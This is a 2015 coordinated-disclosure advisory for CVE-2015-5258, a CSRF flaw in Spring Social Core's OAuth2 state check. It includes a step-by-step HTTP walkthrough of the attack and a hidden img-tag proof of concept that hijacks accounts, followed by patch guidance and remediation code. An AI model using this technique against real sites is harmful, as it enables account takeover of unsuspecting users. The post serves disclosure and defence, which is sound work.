/nov 11, 2015

Spring Social Core Vulnerability Disclosure

By Paul Ambrosini

Today we would like to announce the discovery of a vulnerability in the Spring Social Core library. Spring Social provides Java bindings to popular service provider APIs like GitHub, Facebook, Twitter, etc., and is widely used by developers. All current versions (1.0.0.RELEASE to 1.1.2.RELEASE) of the library are affected by this vulnerability.

To exploit this vulnerability, an attacker can initiate a social login request (e.g., Login with GitHub) with the vulnerable website (a website that uses Spring Social for authentication) to generate a URL. This URL, when clicked by another user, associates the attacker's social account with the user's account on the website. Thus, allowing the attacker to login to the user's account using their own social authentication credentials. The attacker can use a variety of techniques to make the user click the URL, either by sharing the URL directly with the user (e.g., through social media) or hiding the URL as an image source or by obfuscating the link.

Given that Spring Social is widely used in Java applications for authentication with different service providers, this vulnerability has a large potential impact. For example, BroadleafCommerce a popular open-source, e-commerce framework uses Spring Social for authentication and has a large install base of websites using the framework. All those websites may be affected by this issue.

The issue was first found by Kris Bosch from Include Security. Paul Ambrosini from SRC:CLR then identified the root cause, vulnerable library and vulnerable code.

Due to the sensitive nature of this issue, we worked on a coordinated disclosure of this vulnerability with Pivotal Software. Pivotal was prompt and swift in fixing the issue and a new version of Spring Social Core was released on Maven Central today. We would request everyone to upgrade to this version in order to prevent this issue in your projects. The code changes can be viewed in this commit.

The CVE assigned for this issue is CVE-2015-5258.

If you are a SourceClear customer you are already protected against this issue. You can use our agent, terminal application, Maven or Gradle plugins to scan and detect this vulnerability in your projects. The full technical write up is below and other details of the vulnerability are also available in our catalog.

Overview

It is possible for an attacker to gain access to a victim's account using a CSRF-style attack against the Spring Social authentication feature. When a victim visits a specific URL that the attacker has crafted, the attackers social account will be tied to the victim's website account. The attacker will then be able to use social authentication to log in to the victim's account.

The issue revolves around the checking of a state parameter during the OAuth2 connection flow. The attack has been tested against Spring Social Core version 1.1.2.RELEASE. In this example, Spring Social GitHub version 1.0.0.M4 was used but the check occurs in the Spring Social Core code, which means all OAuth2 providers are most likely affected.

This code was added in a pull request on May 3, 2013. Before this, no CSRF-style values were validated during the connection flow and one may assume the issue exists in older versions, but this has not been verified.

Note: This write-up only describes issues in Spring Social Core and uses Spring Social Github and GitHub as examples. It does not discuss any vulnerabilities in GitHub.

Teardown

During the OAuth2 flow, a user is redirected from a website to an authentication provider (such as GitHub) and then back to the original website. During this flow, it's best to use a state parameter as a CSRF-token. This ensures the values sent back from the authentication provider belong to the user requesting the website setup a social connection with the provider.

By looking at line 164 of ConnectSupport.java in the original commit available at https://github.com/spring-projects/spring-social/pull/99/files#diff-70608b8ccb591906ab2da2dfb17ca3deR164, one can analyze the bug.

image of state check

The verifyStateParameter method gathers two state values. The first value, state, comes from the HTTP request. The second value, originalState, comes from the user's current session, which was set at the beginning of the connection flow.

The code then checks if the state parameter is not null and that state and originalState values are not equal.

if (state != null && !state.equals(originalState)) {
    throw new IllegalStateException("The OAuth2 'state' parameter doesn't match.");
}

In a normal flow, one would expect the state and originalState to match and everything to continue on. In an invalid flow, we would expect them to not match and throw an IllegalStateException.

Checking if the state parameter is null is the root of the issue in this vulnerability.

state != null

When the state is null, the code will continue past the if check and not throw an IllegalStateException. After that, the account from the provider is now associated with the account on the website requesting authentication, regardless of the user requesting this action.

Walkthrough

The attack scenario exists during the OAuth2 flow. Below is a quick overview of the flow and where the state values are generated. For this example, the vulnerable website will be example.com and the authentication provider will be github.com.

An attacker must first generate a URL that the victim's browser will visit. The attacker would most likely create a fake account on github.com to use for this.

The attacker first requests an OAuth2 connection by making a POST request to example.com. The request below is asking for user:email access which is one of the scopes that allows the application to access a user's email addresses on GitHub.

POST /api/connect/github HTTP/1.1
Host: example.com
Content-Length: 112

_csrf=12345678-1234-1234-1234-123456789012&scope=user%3Aemail

The response from example.com will look something like (spaced out URL for better viewing):

HTTP/1.1 302 Found
Location: https://github.com/login/oauth/authorize?client_id=12345678901234567890&response_type=code
&_csrf=12345678-1234-1234-1234-123456789012&redirect_uri=https%3A%2F%2Fexample.com%2Fconnect%2Fgithub
&scope=user%3Aemail&state=22222222-2222-2222-2222-222222222222
Connection: close

In the response above, a state parameter has been added. This value is added to the redirect and into the users session. At this point, the attacker will go through steps on github.com to authorize the application to connect to the fake account. An authorize page will load on github.com and the attacker will click Authorize.

Github Authorize application page

POST /login/oauth/authorize HTTP/1.1
Host: github.com
Content-Length: 376

client_id=12345678901234567890&redirect_uri=https%3A%2F%2Fexample.com%2Fconnect2Fgithub&type=
&state=22222222-2222-2222-2222-222222222222d&scope=user%3Aemail&authorize=1

The response will load some basic HTML which will redirect the user.

HTTP/1.1 200 OK
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">

  <meta content="origin-when-crossorigin" name="referrer" />
  <title>OAuth application authorized</title>

  <meta http-equiv="refresh"
    content="0;url=https://example.com/connect/github?code=09876543210987654321&amp;
    state=22222222-2222-2222-2222-222222222222"

        data-url="https://example.com/connect/github?code=09876543210987654321&amp;
                state=22222222-2222-2222-2222-222222222222">

<body>

<div class="container">
  <div class="blankslate has-fixed-width">
    <span class="mega-octicon octicon-flame"></span>
    <h3>You are being redirected to the authorized application</h3>
    <p>
      If your browser does not redirect you back, please <a
href="https://example.com/connect/github?code=09876543210987654321&amp;
state=22222222-2222-2222-2222-222222222222">
click here</a> to continue.

At this point, the attacker should not allow the browser to redirect back to example.com and capture this URL.

https://example.com/connect/github?code=09876543210987654321&
state=22222222-2222-2222-2222-222222222222

This URL can be stripped of the state parameter and used to hijack the account.

https://example.com/connect/github?code=09876543210987654321

Proof of Concept Exploit

The URL example at the end of the walkthrough section can be used as a basic CSRF example PoC.

<img src="https://example.com/connect/github?code=09876543210987654321"
width="0" height="0" border="0">

When the victim's browser visits the above URL, the vulnerable website (example.com) will take the supplied code from Github and retrieve the Github.com account info. This account info will be associated with the victims example.com account. After this has occurred, the attacker can freely use social login to login to the victims account on example.com.

Remediation

An updated version of Spring Social Core has been released and is on Maven Central. The code changes can be viewed in this commit. We recommend updating to this version immediately.

If one cannot update their version the instructions below will remediate the issue.

A custom connect controller can be used to fix this issue by checking for a null state parameter. Example code for this customer controller is included below.

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.social.connect.ConnectionFactoryLocator;
import org.springframework.social.connect.ConnectionRepository;
import org.springframework.social.connect.web.ConnectController;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.request.NativeWebRequest;
import org.springframework.web.servlet.view.RedirectView;


@RequestMapping("/connect")
public class CustomConnectController extends ConnectController {

  private final static Logger LOGGER = LoggerFactory.getLogger(CustomConnectController.class);

  @Autowired
  public CustomConnectController(ConnectionFactoryLocator connectionFactoryLocator,
        ConnectionRepository connectionRepository) {
    super(connectionFactoryLocator, connectionRepository);
    }

    @Override
    @RequestMapping(value = "/{providerId}", method = RequestMethod.GET, params = "code")
    public RedirectView oauth2Callback(@PathVariable String providerId, NativeWebRequest request) {
        String state = request.getParameter("state");
        if (StringUtils.isEmpty(state)) {
            LOGGER.warn("Exception while handling OAuth2 callback due to state parameter being invalid. Redirecting to " + providerId + " connection status page.");
            return new RedirectView("/settings/connect?success=false");
        }
        return super.oauth2Callback(providerId, request);
    }
}

Context

Best practices dictate using a CSRF token to prevent attackers from abusing the trust the users browser has in a website. In the case of the OAuth2 flow, the state parameter acts as a CSRF token or nonce. The field is used as a GET parameter because the user is redirected between different websites. An example of this flow is OAuth2 : example.com > GitHub.com > example.com flow.

Facebook specifically mentions using a state parameter to prevent CSRF attacks.
More reading on Cross-site Request Forgery attacks here.

Current code where issues exists: https://github.com/spring-projects/spring-social/blob/1.1.2.RELEASE/spring-social-web/src/main/java/org/springframework/social/connect/web/ConnectSupport.java#L169

JIRA issue about missing a state parameter: https://jira.spring.io/browse/SOCIAL-299 JIRA issue references this forum post: http://forum.spring.io/forum/spring-projects/web/social/114557-providersignincontroller-and-the-state-parameter-to-prevent-csrf-during-oauth2-dance

Earliest occurrence of attempt to add state parameter: https://github.com/spring-projects/spring-social/blob/1.1.0.M3/spring-social-web/src/main/java/org/springframework/social/connect/web/ConnectSupport.java#L161

Related Posts

By Paul Ambrosini

Paul is the Director of engineering at SourceClear, leading the platform team to build the best software composition analysis solution.